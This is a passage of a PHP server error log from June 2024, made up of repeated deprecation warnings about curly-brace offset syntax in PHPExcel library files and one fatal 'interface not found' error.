Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 10:37:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 10:37:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 10:37:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 10:37:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 10:39:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-Jun-2024 10:08:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 05:59:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-Jun-2024 05:59:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-Jun-2024 05:59:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-Jun-2024 05:59:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-Jun-2024 05:59:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-Jun-2024 05:59:33 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-Jun-2024 12:00:35 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [29-Jun-2024 02:15:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:15:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:15:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:15:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:15:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:15:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:15:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:15:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:15:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:15:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:15:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:15:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:15:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:15:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:15:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:15:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:15:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:15:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 